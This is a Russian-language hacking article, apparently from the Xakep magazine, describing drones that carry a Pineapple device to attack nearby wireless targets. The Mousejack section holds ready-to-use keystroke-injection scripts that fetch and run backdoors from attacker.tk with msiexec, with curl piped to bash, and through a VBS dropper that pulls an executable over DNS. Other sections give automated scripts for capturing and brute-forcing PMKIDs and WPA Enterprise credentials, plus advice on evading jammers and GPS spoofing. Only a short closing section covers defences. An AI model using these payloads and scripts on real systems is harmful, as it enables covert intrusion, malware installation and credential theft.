Чтобы полетный контроллер знал, откуда брать команды управления двигателями, в его настройках нужно указать, что NanoPi физически соединен с его интерфейсом UART2, а программно используется протокол MSP. Для Betaflight cделать это можно с помощью программы BetaflightConfigurator, как показано на следующих рисунках.
Если все сделано правильно, то с любого расстояния появится возможность удаленно управлять таким дроном, пока есть сигнал мобильных сетей и, конечно же, пока не сел аккумулятор.
Передавать видео можно, подсоединив DVP-камеру напрямую к плате NanoPi. А стрим картинки с нее по сети возможен посредством следующего кода:
cvlc v4l2:///dev/video0:chroma=h264:width=800:height=600 --sout '#transcode {vcodec=h264,acodec=mp3,samplerate=44100}:std{access=http,mux=ffmpeg{mux=flv},dst=0.0.0.0:8080}' –vvv
Чтобы удаленно видеть картинку с дрона на любом расстоянии, нужно просто открыть в браузере «http://drone:8080/»
, где drone
— IP-адрес VPN NanoPi.
Приведенные выше шаги реализации управления дроном через мобильные сети — это лишь концепт, демонстрирующий все необходимые примитивы связей. Чтобы дрон реально полетел и не разбился, требуется реализовать еще удобный интерфейс управления.
Этого можно добиться через подключение пульта, например EdgeTX, способного работать как HID-устройство. А также через трансляции положений его стиков в команды управления, которые передаются по сети на NanoPi, интерпретируются там в соответствующие MSP-команды и по UART попадают на полетный контроллер.
А можно пойти более универсальным способом, позволяющим управлять полетом без специального оборудования, прямо с клавиатуры ноутбука или экрана телефона. Это проще всего реализовать через небольшое веб?приложение, средствами JavaScript, считывая соответствующие события клавиатуры и нажатия по виртуальным стикам в сообщения, оперативно передаваемые по сети через WebSockets на NanoPi.
Для систем под управлением Ardupilot существуют даже готовые решения.
Защита от глушилок
Проблему помех от зданий и ограниченного радиуса управления можно решить представленными выше способами, превратив вышки сотовой связи из главного источника помех в лучшего друга.
Но для дронов есть еще одна опасность, которая их может поджидать непосредственно на самих объектах, — это подавители дронов, или глушилки.
Для большинства подобных устройств must-have является подавление частот 2,4 ГГц, на которых летает большинство простых дронов (с управлением по Wi-Fi). Сюда же попадает часть частот и профессиональных дронов. У серьезных глушителей дронов в частотах подавления учтены каналы управления всех профессиональных протоколов (TBS, ELRS, FRSKY и прочих) — 800, 900, 2400 МГц.
Однако самая распространенная мера противодействия дронам — глушение или спуфинг сигналов GPS. Подделав сигналы со спутников, дрону можно внушить любое местоположение, что может быть использовано для контроля над его перемещением. Так как в достаточно многих протоколах управления дронами применяется серьезное шифрование, вполне логичной выглядит атака на GPS, так как она представляется наиболее общей. Поэтому GPS-приемник оказывается еще одним слабым местом дронов. И потенциальный злоумышленник, не желающий, чтобы его дрон был сбит такой глушилкой, должен избавиться от GPS.
В некоторых «готовых» моделях дронов бортовой GPS можно отключить программно. FPV-дроны Cinewhoop часто используются в полетах по помещениям, где, как известно, GPS практически не ловится. Поэтому часто GPS-приемники в такие модели не ставят. Дроны с открытыми системами управления, такими как Betaflight, имеют модульную структуру и всегда позволяют как включить, так и отключить бортовой GPS, чего нельзя сказать о более бюджетных вариантах, которые просто отказываются лететь без него.
Что касается глушения каналов управления, то заглушить дрон с управлением по мобильным сетям тоже не так?то просто. Ведь теперь нужно подавлять сразу ряд диапазонов мобильных сетей разных поколений. А вариантов частот у 2G, 3G и 4G немало. Если заглушить все 4G-сети (1900, 2300, 2500, 2600 МГц), модем дрона перейдет на 3G (800, 850, 900, 1900, 1800, 2100, 2600 МГц), заглушаем и их — перейдет на 2G (900, 1800, 1900 МГц).
Тем не менее существуют направленные радиопушки, отключающие мощным импульсом вообще все радио, но им, впрочем, требуется достаточно точное наведение на цель.
PINEAPPLE
Время поподробнее рассмотреть сами атаки. Для хакера дрон лишь транспорт. Реально все атаки злоумышленник может проводить с помощью некоторого миниатюрного устройства, прикрепленного к такому дрону. Это может быть уже знакомый по предыдущей статье Pineapple. Он без проблем поместится на любой дрон, ведь он маленький и легкий.
Так как этот хакерский девайс может доставляться на место хоть дроном, хоть почтовым голубем, то важна его масса. Суммарно масса такого Pineapple вместе с аккумулятором получается всего от 17 до 43 г, в зависимости от типа батареи. Дроны имеют запас мощности для противодействия ветру и установки экшн?камер и спокойно могут поднять от трети до половины своей изначальной массы без значительной потери летных характеристик. Так что с таким грузом справится почти любой, даже карманный селфи?дрон. И это еще одно несомненное преимущество перед громоздким готовым устройством Pineapple от hak5 — его сможет поднять далеко не каждый дрон.
Молниеносность — это главное условие, которое потенциальный злоумышленник учитывает при планировании атак с дрона. Если в предыдущей статье про Pineapple рассмотрены статичные атаки на беспроводные сети, когда требуется долго находиться в неподвижной точке, то с дроном целесообразнее проводить динамичные атаки — быстрые и мобильные, покрывающие множество целей.
Но какие беспроводные технологии могут быть атакованы столь стремительно, что у дрона не успеет сесть аккумулятор? Вполне очевидно, что это должны быть атаки, слабо завязанные на людей, так как людям часто требуется много времени, чтобы принять решение. Другое дело — чисто компьютерные атаки, не требующие никакого участия пользователя. Машины не так медлительны, как человек, и есть несколько zero click атак, проведение которых занимает несколько секунд. При этом дрону не нужно даже совершать коротких остановок — все может происходить прямо во время полета.
Далее представлено несколько таких атак, начиная с самых критичных.
Mousejack
Существует распространенная уязвимость, надежно, на десятилетия засевшая в сотнях тысяч беспроводных мышек и клавиатур. Ее эксплуатация возможна с кинематографичной эффективностью — высочайшей скоростью (одна?две секунды) и максимальным импактом — RCE, и атакующий сразу получает шелл. И имя ей — Mousejack.
Атака на беспроводные HID-устройства (мыши и клавиатуры) — это, пожалуй, самая зрелищная атака, способная скомпрометировать компьютер за секунды. Она считается самой опасной из всех возможных атак, так как позволяет минимальными усилиями, по радиоканалу, удаленно отправить произвольные нажатия клавиш, иными словами, выполнить произвольный код. Никаких предварительных подборов паролей, особых действий пользователя — сразу RCE.
Эту атаку можно эффективно проводить с помощью специального устройства CrazyRadio PA и любого одноплатника, например Raspberry, или уже знакомого нам устройства Pineapple, разработанного специально для атак на беспроводные сети. Условие старта для атаки может быть добавлено так:
startup.sh
...
elif lsusb | grep -q 'Nordic Semiconductor'; then
echo "[*] mousejack attack"
cd mousejack
screen -dmS mousejack -t jackit -L -Logfile "$time-mousejack-%n.log" './mousejack.sh'
cd -
...
Иными словами, если в Pineapple вставлен донгл CrazyRadio PA, то автоматически запускается атака на беспроводные мыши и клавиатуры:
mousejack/mousejack.sh
#!/bin/bash
led green on
python3 jackit --autopwn --script ducky.txt
led green off
Так как атакующий не знает адреса беспроводных устройств, он вынужден атаковать все, что слышит в радиоэфире, поэтому используется флаг autopwn
.
Если соединить CrazyRadio с Pineapple, получится очень опасное хакерское устройство.
Дрон с таким устройством сможет пробить периметр практически любой компании.
Такой дрон будет атаковать все устройства вокруг себя, пока летит.
Эксплуатация Mousejack очень похожа на BadUSB-hid. Тут атакующий сталкивается с теми же проблемами при наборе команд:
- при использовании нажатий клавиш приходится угадывать языковую раскладку;
- при использовании ALT-кодов для набора текста команд (возможно только на Windows) — угадывать статус клавиши Num Lock.
И в том и в другом случае злоумышленнику придется для надежности засылать нажатия дважды, меняя либо раскладку, либо статус NumLock. Но в случае с ALT-кодами понадобится в три?четыре раза больше нажатий. А если нет разницы, то зачем передавать больше? В общем, тут снова рациональнее использовать простой метод отправки нажатий непосредственно самих клавиш вместо их кодов:
mousejack/ducky.txt
GUI SPACE
GUI r
DELAY 300
STRING msiexec /i https://en.attacker.tk/backdoor.msi /quiet
DELAY 300
ENTER
SHIFT ALT
DELAY 300
SHIFT CTRL
DELAY 300
GUI r
DELAY 300
STRING msiexec /i https://ru.attacker.tk/backdoor.msi /quiet
DELAY 300
ENTER
Так как используется радиоканал, атакующий неизбежно столкнется с помехами. Чем длиннее набираемая команда, тем больше вероятность, что та или иная клавиша «не долетит». Достаточно всего одной ошибки, чтобы RCE-команда не распозналась.
Приведенный здесь пример уже знаком читателям по статье про BadUSB-hid. Эта возможность имеется в любой ОС Windows, она позволяет за одно действие скачать и запустить указанную программу удаленного управления. Под ОС семейства Unix злоумышленник может использовать команду из разряда curl -L http://rce.attacker.tk/1.sh|bash
.
Далее успешность атаки зависит только от ловкости управления дроном и наличия беспроводных мышек в радиусе около 10–15 м. Pineapple на дроне будет пытаться взломать каждый компьютер через вновь пойманный радиосигнал от мышки или клавиатуры. Эффект атаки делает ее похожей на фильм или игру про хакеров, где взлом с помощью дрона происходит за несколько секунд.
Реальный мир отличается от вымышленного. Большая часть из того, что показано в играх и фильмах о возможностях хакеров, имеет мало общего с реальностью, но эта атака — одна из немногих, которые в жизни выглядят точно так же, как на экране.
Представь: ты сидишь дома или работаешь в офисе, где?нибудь на верхних этажах или в глубине режимного объекта, в сотнях метров от охраняемого контрольно?пропускного пункта. Кажется, что ты в полной информационной безопасности и внешний нарушитель до тебя не доберется. Но тут к зданию подлетает подобный дрон, и, пока ты удивленно смотришь на него через окно (а возможно, ты даже и не заметишь его вовсе), он всего за секунду запустит вредоносный код на твоем компьютере. Так что ты вряд ли успеешь заметить что?либо подозрительное, а если и заметишь, то вряд ли сопоставишь появление в небе дрона с установкой бэкдора на твоем компьютере. С использованием этого метода злоумышленник сможет проникнуть в корпоративную сеть — последствия этого, думаю, объяснять никому не нужно.
Дрон использует еще и эффект отвлечения: пользователь смотрит в окно, пока на его ноутбуке на долю секунды всплывает окно «Пуск ? Выполнить» и запускается бэкдор или RAT. Через пару минут, вероятно, злоумышленник уже успеет опробовать пару?тройку эксплоитов.
По иронии судьбы чаще всего беспроводные мышки и клавиатуры есть либо у IT-персонала, либо у руководителей. Так что добыча злоумышленника будет сразу весомая. Возможно, это окажется комп доменного администратора, в таком случае события уже во внутренней сети будут развиваться стремительно. А возможно, это будет какой?то начальник, на рабочем столе которого много ценных файлов. Словом, какой бы компьютер это ни был, он, скорее всего, подключен к внутренней сети, а значит, злоумышленник почти наверняка достигнет главной цели — пробития периметра.
Чтобы пробить периметр описанным способом, с компьютера, подверженного этой атаке, должен быть выход в интернет до опорного сервера злоумышленника. Оттуда он скачивает и запускает бэкдор, на который потом поступают команды управления. Но далеко не в каждой внутренней сети разрешены прямые соединения на внешние IP-адреса. Однако популярные методы эксфильтрации, такие как DNS, вполне могут работать, и произвольные запросы, содержащие данные, могут выходить из сети наружу почти всегда. Это значит, что такой канал может быть использован как транспорт для скачивания бэкдора и его последующей работы.
Реализовать загрузку нужной хакеру программы по DNS можно и базовыми средствами любой ОС. Например, для Windows самым переносимым способом является VBS-скрипт, который написан на полноценном интерпретируемом языке программирования (смотри статью про методы инфильтрации и эксфильтации). Но размер вводимой в окно «Выполнить» команды ограничен, и для набора VBS-скрипта, загружающего средство удаленного управления через DNS, злоумышленнику потребуются минимум три команды:
mousejack/ducky-dnsexec.txt
GUI r
DELAY 300
STRING cmd /C "(echo On Error Resume Next& echo Set objShell = CreateObject^("WScript.Shell"^)& echo Set writer = CreateObject^("Scripting.FileSystemObject"^).createtextfile^("out.exe"^))>1.vbs& ping x1.attacker.tk"
ENTER
GUI r
DELAY 300
STRING cmd /C "(echo For d = 1 To 927& echo pos = 0& echo While pos = 0& echo Set exec = objShell.Exec^("nslookup -type=txt d"^&d^&".txt.attacker.tk"^)& echo res = exec.Stdout.ReadAll^(^))>>1.vbs& ping x2.attacker.tk"
ENTER
GUI r
DELAY 300
STRING cmd /C "(echo pos = inStr^(1,res,"?"^)& echo txt = Mid^(res,pos+1,253^)& echo Wend& echo For b = 0 To Len^(txt^)/2-1& echo writer.Write Chr^(CInt^("^&H" ^& Mid^(txt,1+b*2,2^)^)^)& echo Next& echo Next)>>1.vbs& ping x3.attacker.tk"
ENTER
GUI r
DELAY 300
STRING cmd /C "wscript 1.vbs & out.exe"
ENTER
При выполнении команд на сервер злоумышленника должно прийти три DNS-отстука, означающих успешность набора команд.
Это отличный пример того, как ты или твоя компания могут быть легко взломаны, причем даже без дрона (об этом в одной из следующих статей). И чем больше компания, тем выше вероятность встретить подверженную уязвимостям беспроводную периферию. Мой опыт показывает: несмотря на то что эта уязвимость найдена еще в 2016 году, о ней до сих пор мало кто знает. А те, кто знает, сильно ее недооценивают. Тем не менее встречается она повсеместно. А аппаратная специфика этой уязвимости обеспечивает ей еще достаточно долгую жизнь, ведь компьютерные мышки мы не привыкли менять так же часто, как телефоны.
Атака EAP
В статье про Pineapple уже рассматривались атаки на WPA Enterprise, но там описано возможное их применение в статичном режиме — с ожиданием попадания клиентов в радиус действия. С дроном хакер может провести такую атаку в ином ключе — динамично, самостоятельно обнаруживая и атакуя клиентские устройства.
Теперь он в состоянии облететь каждое здание, где размещаются цели атак. Так как отправка учетных данных WPA Enterprise не требует участия пользователя, она происходит достаточно быстро, что делает эту атаку возможной даже без остановки пролетающего мимо дрона.
На представленной ниже иллюстрации телефоны сотрудников бессознательно кинули в пролетающий мимо дрон учетные записи корпоративной беспроводной сети.
Для реализации такой атаки злоумышленнику не нужно дорабатывать скрипты Pineapple. Все необходимое уже проделано в соответствующем разделе предыдущей статьи. Для активации атаки на Pineapple просто ставится перемычка на GPIO-25 (замыкающая пины 20 и 22), после чего устройство включается. Загорелся зеленый светодиод — значит, точка доступа поднялась и атакующий может лететь. Дрон вместе с устройством прилетает обратно, горит красный или желтый светодиод — значит, мы вернулись не с пустыми руками и пароль или хеш чьей?то доменной учетки сохранен на карте памяти. С этой доменной учеткой злоумышленник впоследствии может получить удаленный доступ к почте и раскрыть конфиденциальные данные или даже, при наличии у компании VPN, получить доступ в ее локальную сеть.
Захват хендшейка WPA и PMKID
В предыдущей статье про Pineapple рассмотрен ряд атак на аутентификацию Wi-Fi. Аутентификация (захват PMKID) и деаутентификация (захват WPA Handshake) происходят достаточно быстро. Более того, если захват WPA Handshake требует определенных обстоятельств (наличия клиентов), то захватить PMKID, если имеется уязвимая точка доступа, можно всегда и достаточно быстро.
PMKID — это еще один пригодный для брутфорса хеш, который можно получить из первой части четырехступенчатого рукопожатия (EAPOL M1). Для этого не нужны аутентифицированные клиенты, такой пакет точка доступа может отправить атакующему сама в ответ на запрос ассоциации:
wpapsk/auth.sh
#!/bin/bash
dumpfile="pmkid-$(date +'%H:%M:%S_%d.%m.%Y')"
hcxdumptool -i mon0 --enable_status=7 -o $dumpfile.pcapng --disable_client_attacks --disable_deauthentication $* | while read line
do
if echo "$line" | grep -q 'PMKIDROGUE:'; then
led yellow on 2> /dev/null
fi
done
tcpdump -r $dumpfile.pcapng -nn -w $dumpfile.pcap
rm -f $dumpfile.pcapng
Пока дрон летит, этот скрипт отправляет запрос ассоциации на каждую точку доступа в пределах досягаемости радиосигнала.
Как только PMKID захвачен, загорается желтый светодиод. И WPA handshake, и PMKID дает хеш?сумму, по которой можно восстановить пароль к точке доступа методом перебора по словарю:
wpapsk/brute-pmkid.sh
#!/bin/bash
while sleep 60
for pcap in *.cap
do echo "$pcap"
hcxpcapngtool "$pcap" --pmkid=/tmp/m1.pmkid
hcxhash2cap --pmkid=/tmp/m1.pmkid -c /tmp/out-pmkid.pcap
for bssid in $(echo 0 | aircrack-ng "/tmp/out-pmkid.pcap" | grep 'with PMKID' | awk '{print $2}')
do
if [ -f "/tmp/$bssid" ]; then
continue
fi
touch "/tmp/$bssid"
aircrack-ng -w /home/pi/wpapsk/passwords_top1k.txt -b "$bssid" "/tmp/out-pmkid.pcap" -l "$bssid.txt"
if [ -s "$bssid.txt" ]; then
led red on 2> /dev/null
exit
fi
done
rm -f /tmp/m1.pmkid
rm -f /tmp/out-pmkid.pcap
done
done
Pineapple с таким скриптом в состоянии сам определить слабые пароли к точкам доступа. Для этого сначала удаляются все пакеты EAPOL M2 (handshake), так как проверяются только с PMKID. После их уникализации, чтобы не брутить одни и те же хеши многократно, запускается уже брутфорс прямо в воздухе. Если пароль подобран, загорается красный светодиод.
Скрипт служит хорошим примером манипуляции набранными хешами, ведь в таком случае aircrack-ng
при наличии handshake игнорирует PMKID. Вообще, брутить хеши целесообразно на более мощном оборудовании, ведь все собранные в полете хеши сохраняются на карте памяти Pineapple.
Разведка беспроводных сетей
Применительно к атакам на беспроводные сети дрон весьма неплохо подходит на роль разведчика. Разместив все тот же Pineapple и подключив к нему внешний GPS-донгл, атакующий может триангулировать расположение каждого беспроводного устройства (точек доступа Wi-Fi, клиентов, Bluetooth-устройств и даже беспроводных мышек и клавиатур) и фиксировать их расположение на карте. Эта информация может быть очень актуальна как для атакующего, выявляющего поверхность будущих атак, так и для защитников, контролирующих свои ресурсы. Ведь весь необходимый сбор данных и расчеты полностью производит программа Kismet. На выходе — дамп SQLite, удобный для самостоятельного парсинга.
Для географической разведки беспроводных сетей требуется лишь два компонента, которые на Pineapple запускаются при старте в положении перемычки на 27-м GPIO:
startup.sh
...
elif jmp 27; then
echo "[*] wi-fi recon (dynamic)"
monitor_enable
cd recon
screen -dmS recon -t gpsd -L -Logfile "$time-recon-%n.log" './gps.sh'
screen -r recon -t kismet -X screen './kismet.sh'
screen -r recon -t tcpdump -X screen './tcpdump.sh'
cd -
...
Когда устанавливается соединение со спутниками, зеленый светодиод дает понять, что можно лететь:
recon/gps.sh
#!/bin/bash
gpsd -N /dev/ttyACM0 -D 5 | while read line
do echo "$line"
if echo "$line" | fgrep -q 'GPS:'; then
led green on 2> /dev/null
fi
done
Успешный запуск Kismet, в свою очередь, зажигает желтый светодиод:
recon/kismet.sh
#!/bin/bash
kismet -c mon0 | while read line
do echo "$line"
if echo "$line" | fgrep -q 'success'; then
led yellow on 2> /dev/null
fi
done
Теперь после облета территории или даже загрузки GPS-маршрута в дрон атакующий либо защитник могут в автоматическом режиме более качественно выполнить анализ беспроводных сетей, покрывая максимум территории. Полученный дамп может быть преобразован в веб?страницу, содержащую удобную интерактивную карту, на которой наложено рассчитанное местоположение источников сигнала, а также построена тепловая карта сигналов, как на следующем рисунке.
Тепловая карта показывает уровень сигнала от беспроводных устройств в каждой исследованной точке. Любая точка доступа или клиент на такой карте по клику мышкой обводится окружностью, показывающей область ее слышимости.
При этом тепловая карта, как можно заметить, перестраивает свой цвет под каждое выбранное беспроводное устройство, тем самым показывая, в каких местах и как принимался сигнал от него. Каждая область, где пролетал дрон, при выборе мышкой показывает беспроводные устройства, доступные именно там.
Все вместе это дает представление, не выходит ли зона приема за контролируемую область, где может находиться злоумышленник.
Постэксплуатация
Если атака будет успешной, злоумышленнику, вероятно, придется вернуться и воспользоваться обнаруженной уязвимостью. Ведь подобранный пароль или перехваченные учетные данные сработают только для конкретной беспроводной сети. В таком случае дрон может доставить Pineapple, снабженный 4G-модулем для удаленного подключения к беспроводной сети на охраняемой территории.
Как использовать Pineapple в качестве средства удаленного доступа, продемонстрировано в предыдущей статье.
Дрон с Pineapple на борту может приземлиться на крышу здания. С выключенными пропеллерами он в состоянии ожидать достаточно долго. А тем временем злоумышленник может удаленно подключиться к скомпрометированной беспроводной сети и развивать дальнейшие атаки уже по внутренним сетям. И вполне вероятно, что внутренняя сеть в результате такого проникновения падет раньше, чем на крышу поднимутся сотрудники службы безопасности. Впрочем, в таком случае дрон может стремительно улететь, унеся на своем борту и Pineapple, и 4G-модем. Так что не останется никаких следов.
КАК ЗАЩИТИТЬСЯ
Дрон способен преодолеть множество классических защитных мер. Пропускной пункт, двери на этаже или в кабинете, даже заборы для него не проблема. И чем крупнее компания, тем выше вероятность встретить уязвимый компонент и тем весомее потенциальная добыча злоумышленника.
Можно рассмотреть следующие варианты защиты от некоторых дронов:
- одна из тактик защиты — это нападение. Дрон, управляемый по Wi-Fi, — это, по сути, летающий роутер. К нему можно подключиться, как к обычной Wi-Fi-сети, используя простые заводские пароли, после чего перехватить видеосигнал, идущий RTSP-потоком, или перекрыть канал управления;
- применение обычных подавителей дронов, так как они рассчитаны на наиболее популярные протоколы (FRSKY, ELRS или TBS), по которым управляются даже профессиональные дроны;
- многие дроны после потери сигнала с пульта управления экстренно садятся, но некоторые улетают обратно по GPS-координатам. Подавители радиосигналов, сообщающих поддельные координаты, могут заставить дрон экстренно сесть в заданной точке;
- для модифицированных дронов с самодельными режимами управления (например, 4G) можно использовать направленные подавители сигналов.
Среди общих мер, которые защищают от любых дронов, можно отметить следующие:
- экранирование — размещение критических объектов в помещениях со специальными ограждающими конструкциями, которые препятствуют распространению электромагнитных излучений за пределы помещения (контролируемой зоны);
- внешнее зашумление электромагнитными волнами, которые не позволяют дрону обнаружить уязвимые беспроводные устройства;
- контроль физического доступа в пределах радиуса действия беспроводных устройств — поскольку дрон главным образом направлен на обход физических барьеров, а не технических уязвимостей, защиту от него можно рассматривать в том же ключе;
- размещение критических объектов вдали от внешних ограждающих конструкций — в глубине защищенного здания или под землей.
Читайте ещё больше платных статей бесплатно: https://t.me/xakep_1